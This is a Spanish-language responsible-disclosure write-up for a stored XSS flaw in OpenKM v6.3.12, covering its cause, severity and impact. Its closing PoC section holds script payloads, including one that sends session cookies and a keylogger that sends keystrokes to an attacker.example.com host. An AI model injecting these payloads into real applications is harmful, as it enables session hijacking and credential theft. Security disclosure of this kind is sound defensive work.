
Divulgación detallada de CVE-2026-30503, una vulnerabilidad de XSS almacenado en OpenKM v6.3.12. Incluye análisis de causa raíz, cargas útiles PoC, evaluación del impacto y recomendaciones de remediación para investigadores de seguridad y pentesters.
Descubierto y reportado por Dharmendra Kumar — Investigador de Seguridad
Ciberseguridad | Pruebas de Penetración | Investigación de Vulnerabilidades | Divulgación Responsable
Este repositorio documenta la divulgación responsable de CVE-2026-30503, una vulnerabilidad de Cross-Site Scripting (XSS) Almacenado identificada en OpenKM v6.3.12, un sistema de gestión documental de código abierto ampliamente utilizado en entornos empresariales.
La vulnerabilidad permite a un atacante autenticado inyectar JavaScript malicioso persistente en la aplicación, que se ejecuta en el contexto del navegador de cualquier usuario (incluidos administradores) que posteriormente visualice el contenido afectado.
⚠️ Severidad: Alta | Vector de Ataque: Red | Privilegios Requeridos: Bajos | Interacción del Usuario: Requerida
| Campo | Detalles |
|---|---|
| ID CVE | CVE-2026-30503 |
| Producto | OpenKM |
| Versión Afectada | v6.3.12 |
| Clase de Vulnerabilidad | Cross-Site Scripting Almacenado (XSS) |
| CWE | CWE-79: Neutralización Incorrecta de la Entrada Durante la Generación de Páginas Web |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N |
| Investigador | Dharmendra Kumar |
| Tipo de Divulgación | Responsable / Coordinada |
OpenKM es un sistema de gestión documental (DMS) gratuito y de código abierto que proporciona una interfaz web para gestionar, auditar y distribuir documentos empresariales. Es utilizado por empresas, organismos gubernamentales e instituciones educativas a nivel global.
v6.3.12Se descubrieron múltiples vulnerabilidades de Cross-Site Scripting (XSS) Almacenado en OpenKM v6.3.12. Un atacante con acceso autenticado de bajos privilegios puede inyectar cargas útiles arbitrarias de JavaScript en uno o más campos de entrada. Estas cargas útiles se almacenan permanentemente en el backend de la aplicación y se ejecutan automáticamente cuando cualquier usuario —incluidos administradores— accede a la página o componente afectado.
A diferencia del XSS Reflejado, que requiere que la víctima haga clic en un enlace manipulado, las cargas útiles del XSS Almacenado están incrustadas en la propia aplicación, lo que las hace significativamente más peligrosas y persistentes.
La vulnerabilidad proviene de tres debilidades concurrentes en el pipeline de manejo de entrada de la aplicación:
Entrada del Usuario ──► [SIN Validación] ──► Almacenada en BD ──► [SIN Codificación de Salida] ──► Renderizada en Navegador ──► XSS Ejecutado
| Debilidad | Descripción |
|---|---|
| ❌ Falta de Validación de Entrada | La aplicación no restringe ni sanitiza caracteres especiales (<, >, ", ', ;) en campos proporcionados por el usuario |
| ❌ Falta de Codificación de Salida | Los valores almacenados se renderizan directamente en HTML sin codificación de entidades HTML |
| ❌ Renderizado DOM Inseguro | Los datos proporcionados por el usuario se incrustan en el contexto DOM sin CSP ni controles de sanitización |
Una explotación exitosa de esta vulnerabilidad puede conllevar a:
| Riesgo | Descripción |
|---|---|
| 🍪 Secuestro de Sesión | Robar tokens de sesión autenticados mediante la exfiltración de document.cookie |
| 👤 Toma de Cuenta | Comprometer cuentas de víctimas, incluyendo cuentas de administrador |
| 🔐 Captura de Credenciales | Inyectar formularios de phishing para capturar credenciales de inicio de sesión |
| 📤 Exfiltración de Datos | Extraer silenciosamente documentos o metadatos sensibles del DMS |
| ⚙️ Acciones No Autorizadas | Realizar operaciones privilegiadas en nombre de la víctima (eliminar/modificar documentos) |
| 🎯 Apuntar a Administradores | La carga útil se ejecuta en el panel de administración cuando un administrador revisa contenido |
| 🔄 Propagación tipo Gusano | La carga útil XSS autorreplicante puede propagarse entre usuarios |
⚠️ Aviso: Este PoC se comparte estrictamente con fines educativos y de investigación en seguridad bajo los principios de divulgación responsable. No utilice esto contra sistemas que no posea o para los que no tenga permiso explícito por escrito para realizar pruebas.
// PoC básico — demuestra la ejecución de script
<script>alert('CVE-2026-30503 - XSS por Dharmendra Kumar')</script>
// Exfiltración de token de sesión
<script>fetch('https://attacker.example.com/steal?c='+document.cookie)</script>
// Inyección de keylogger
<script>document.onkeypress=function(e){fetch('https://attacker.example.com/log?k='+e.key)}</script>
<script>alert(document.cookie)</script>